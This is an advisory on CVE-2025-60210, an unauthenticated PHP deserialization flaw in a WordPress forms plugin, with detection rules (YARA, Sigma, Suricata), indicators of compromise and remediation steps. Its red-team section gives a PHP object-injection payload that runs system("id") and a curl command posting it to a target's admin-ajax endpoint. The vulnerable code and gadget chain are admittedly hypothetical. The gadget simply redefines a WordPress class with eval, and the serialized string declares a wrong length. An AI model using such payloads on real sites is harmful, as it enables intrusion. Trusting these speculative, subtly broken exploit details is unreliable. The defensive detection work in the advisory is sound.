CVE-2025-60210

Executive Summary

CVE-2025-60210 is a critical deserialization vulnerability in the WordPress plugin Everest Forms - Frontend Listing (versions <= 1.0.5). This vulnerability allows an unauthenticated attacker to perform Object Injection via deserialization of untrusted data. The CVSS score of 9.8 indicates the highest severity, as it can lead to full remote code execution (RCE), data exfiltration, and complete compromise of the WordPress site. The vulnerability resides in the plugin’s handling of serialized PHP objects, which are not properly sanitized before being deserialized. As a WordPress plugin vulnerability, this directly impacts the WordPress ecosystem and does not involve Apache or Nginx server software.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users who have installed the plugin from any source are at risk. There is no known patch available, and the vendor (Wpeverest) has not released a security update. This represents a significant supply chain risk for any WordPress site using this plugin.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The exploit cannot affect other components.
• Confidentiality Impact: High (C:H) – Full data access possible.
• Integrity Impact: High (I:H) – Full data modification possible.
• Availability Impact: High (A:H) – Full system compromise possible.

Deep Dive & Mechanics

The vulnerability is a classic PHP Object Injection via unserialize() on user-supplied input. The plugin likely processes serialized data from HTTP requests (e.g., POST parameters, cookies, or file uploads) without proper validation. When an attacker sends a crafted serialized PHP object, the unserialize() function will instantiate arbitrary PHP classes and call their magic methods (e.g., __wakeup(), __destruct()). This can be chained with other classes present in the WordPress core or other plugins to achieve arbitrary code execution.

The attack flow:

1. Attacker identifies an endpoint that accepts serialized data (e.g., a form submission handler).
2. Attacker crafts a malicious serialized object that exploits a gadget chain (e.g., using WP_HTML_Token or other WordPress classes).
3. The plugin calls unserialize() on the attacker’s input.
4. The malicious object is instantiated, triggering code execution.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable code likely resembles:

// Vulnerable code (hypothetical)
$data = $_POST['some_field'];
$obj = unserialize($data); // No validation

A patched version would use a safe alternative:

// Patched code (hypothetical)
$data = $_POST['some_field'];
$obj = json_decode($data); // Use JSON instead of serialization
// Or validate the serialized data
if (is_serialized($data)) {
    $allowed_classes = ['stdClass'];
    $obj = unserialize($data, ['allowed_classes' => $allowed_classes]);
}

Exploitation & Lab Setup

Red Team (Exploitation)

To exploit this vulnerability, an attacker would need to identify the vulnerable endpoint. Common endpoints in Everest Forms include AJAX handlers or form submission processors. A typical exploit payload would be a serialized PHP object that triggers a gadget chain.

Example payload (using a known WordPress gadget chain):

// Example gadget chain using WP_HTML_Token (hypothetical)
class WP_HTML_Token {
    public $name;
    public $attributes;
    public function __destruct() {
        // Code execution via eval or system
        eval($this->name);
    }
}
$payload = new WP_HTML_Token();
$payload->name = 'system("id");';
echo serialize($payload);

The attacker would send this serialized object to the vulnerable endpoint:

curl -X POST https://target.com/wp-admin/admin-ajax.php \
  -d 'action=everest_forms_frontend_listing_submit&data=O:13:"WP_HTML_Token":1:{s:4:"name";s:14:"system("id");";}'

Blue Team (Detection & Hardening)

Blue teamers should:

1. Immediately disable or remove the plugin if no patch is available.
2. Monitor for unusual serialized data in HTTP requests (e.g., base64-encoded strings, O: patterns).
3. Implement a Web Application Firewall (WAF) rule to block serialized PHP objects.
4. Enable PHP disable_functions to block dangerous functions like system(), exec(), etc.
5. Use a security plugin that monitors for deserialization attacks.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests containing serialized PHP objects (e.g., O:, a:, s: patterns) in POST data or cookies.
  • Requests to /wp-admin/admin-ajax.php with action everest_forms_frontend_listing_submit or similar.
  • Outbound connections to unknown IPs or domains (C2 traffic).

• File IOCs:

  • Unexpected PHP files in wp-content/uploads/ or wp-content/plugins/everest-forms-frontend-listing/.
  • Modified .htaccess files.
  • New admin users created.

• Process IOCs:

  • PHP processes executing shell commands (e.g., id, whoami, curl).

Detection Engineering

YARA Rule

rule Detect_Deserialization_Payload {
    meta:
        description = "Detects serialized PHP objects in HTTP requests"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-60210"
    strings:
        $serialized = /O:\d+:"[^"]+":\d+:\{/
        $base64_serialized = /YTo/  // base64 of 'a:'
    condition:
        any of them
}

Sigma Rule

title: Detect PHP Deserialization Attack
id: 8f4a3b2c-1d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects attempts to exploit PHP deserialization vulnerabilities
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'everest_forms_frontend_listing'
        cs-body|contains:
            - 'O:'
            - 'a:'
            - 's:'
    condition: selection
falsepositives:
    - Legitimate plugin functionality using serialization
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-60210 - Everest Forms Deserialization Attempt"; flow:to_server,established; content:"POST"; http_method; content:"everest_forms_frontend_listing"; http_uri; content:"O:"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable and remove the everest-forms-frontend-listing plugin until a patch is released.
2. Alternative: Use a different frontend listing plugin that is actively maintained.
3. WAF Rule: Block HTTP requests containing serialized PHP objects (e.g., O:\d+: pattern).
4. PHP Hardening: Disable unserialize() on user input by using json_decode() instead.
5. Monitoring: Enable logging of all POST requests and monitor for suspicious patterns.
6. Backup: Ensure regular backups of the WordPress site and database.

Valters IT